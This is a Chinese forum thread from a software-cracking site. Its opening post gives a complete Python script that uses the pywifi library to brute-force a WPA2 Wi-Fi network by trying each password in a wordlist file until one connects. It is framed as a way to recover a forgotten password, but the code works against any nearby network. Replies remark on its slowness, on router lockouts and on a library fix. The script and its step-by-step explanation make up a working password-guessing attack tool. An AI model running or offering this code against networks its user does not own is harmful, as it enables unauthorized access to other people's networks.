吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5448|回复: 35
上一主题 下一主题
收起左侧

[Python 原创] Python密码本连接wifi

[复制链接]
跳转到指定楼层
楼主
Reer 发表于 2024-1-15 18:28 回帖奖励
本帖最后由 Reer 于 2024-1-15 18:50 编辑



有时候我们会忘记自己的Wi-Fi密码,或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。

一、密码本准备


在进行wifi猜测时,其实就是列出各种可能的密码,用来尝试去访问目标wifi,直到找出正确的密码为止,是密码破解的一种方案。怎么有效去猜测wifi密码呢,或者说日常中你使用的密码为什么会被别人猜到,这就涉及到社会工程学,比如习惯使用“123456”、“8888888”等弱口令,使用手机号、生日、家庭住址相关联作为密码,那么就很容易被猜到,这里不过多介绍,理论上任何密码都可以用这种方法来猜测连接,不过越复杂的密码破解耗时也越长。


二、连接准备工作


  • python环境安装

访问Python官网,点击downloads按钮,在下拉框中选择系统类型,选择下载最新版本的Python,没有版本要求的话,尽量使用最新版本前几个版本,避免新版本的不稳定。双击下载好的Python安装包,勾选左下角"Add Python 3.7 to PATH"选项,然后选择"Install now"立刻安装Python,默认安装或自定义安装。打开命令窗口,使用“python --version”查验环境是否安装成功。
  • 下载安装pywifi库

[Bash shell] 纯文本查看 复制代码
pip install pywifi
  • 猜测连接wifi

以下对整个连接程序主要部分进行讲解,最后提供完整的连接程序,可以使用自己的wifi网络进行连接尝试,密码本先填写几个错误密码,最后再写入正确密码,试验是否成功连接wifi,只要密码本够全,理论上可以连接所有wifi。注意一行表示一个可能性密码。
  创建一个无线对象,获取无线网卡
[Python] 纯文本查看 复制代码
#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]

  创建WiFi连接文件
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。
[Python] 纯文本查看 复制代码
#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="WiFi名称"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP

  尝试连接wifi
密码本采用只读的方式,一行一行读取,后续用于尝试连接wifi。
[Python] 纯文本查看 复制代码
#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path="wifi_pass.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            #尝试连接wifi
            bool = wifiConnect(pad)
            if not pad:
                break
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ",pad)
        except:
            continue

  完整程序代码
[Python] 纯文本查看 复制代码
# coding:utf-8
import pywifi
from pywifi import const
import time
 
#测试连接,返回链接结果
def wifiConnect(pwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="****_Wi-Fi5"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key=pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接") 
 
#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path="wifi_pass.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            #尝试连接wifi
            bool = wifiConnect(pad)
            if not pad:
                break
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ",pad)
        except:
            continue
readPassword()

  运行结果

免费评分

参与人数 5吾爱币 +3 热心值 +4 收起 理由
jerrychenhong + 1 我很赞同!
lozix2024 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
timeni + 1 + 1 用心讨论,共获提升!
52pojie11023995 + 1 import pywifi第一行报错,解决了:pip install comtypes
xiaobaicai66 + 1 热心回复!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
soughing 发表于 2024-1-18 07:28
额,跑字典还用py,效率慢中慢,更何况现在的路由器大多数还支持 多次连接自动拉黑的操作。这帖子纯标题党。
推荐
康娜喵 发表于 2024-1-15 18:49
额,跑字典还用py,效率慢中慢,更何况现在的路由器大多数还支持 多次连接自动拉黑的操作。这帖子纯标题党。
沙发
zdye 发表于 2024-1-15 18:39
ps学的好 jy 关到老 不是吹的 额怎么说 这次就算了 下次不一定 哈 给你点赞
3#
renbunengtaisao 发表于 2024-1-15 18:39
不懂就问。如果是字母数字符号组合的密码也可以吗?
4#
大兵马元帅 发表于 2024-1-15 18:43
这不是就挨个试吗
5#
 楼主| Reer 发表于 2024-1-15 18:44 |楼主
zdye 发表于 2024-1-15 18:39
ps学的好 jy 关到老 不是吹的 额怎么说 这次就算了 下次不一定 哈 给你点赞

下次记得
6#
 楼主| Reer 发表于 2024-1-15 18:45 |楼主
renbunengtaisao 发表于 2024-1-15 18:39
不懂就问。如果是字母数字符号组合的密码也可以吗?

是的,看密码本的强度,用自己的wifi试一下
7#
 楼主| Reer 发表于 2024-1-15 18:46 |楼主

是的,还得是你,一下子就总结出来了
8#
aonima 发表于 2024-1-15 18:47
以前我也做过类似的
10#
 楼主| Reer 发表于 2024-1-15 18:51 |楼主
康娜喵 发表于 2024-1-15 18:49
额,跑字典还用py,效率慢中慢,更何况现在的路由器大多数还支持 多次连接自动拉黑的操作。这帖子纯标题党 ...

马上改标题
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-29 01:45

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表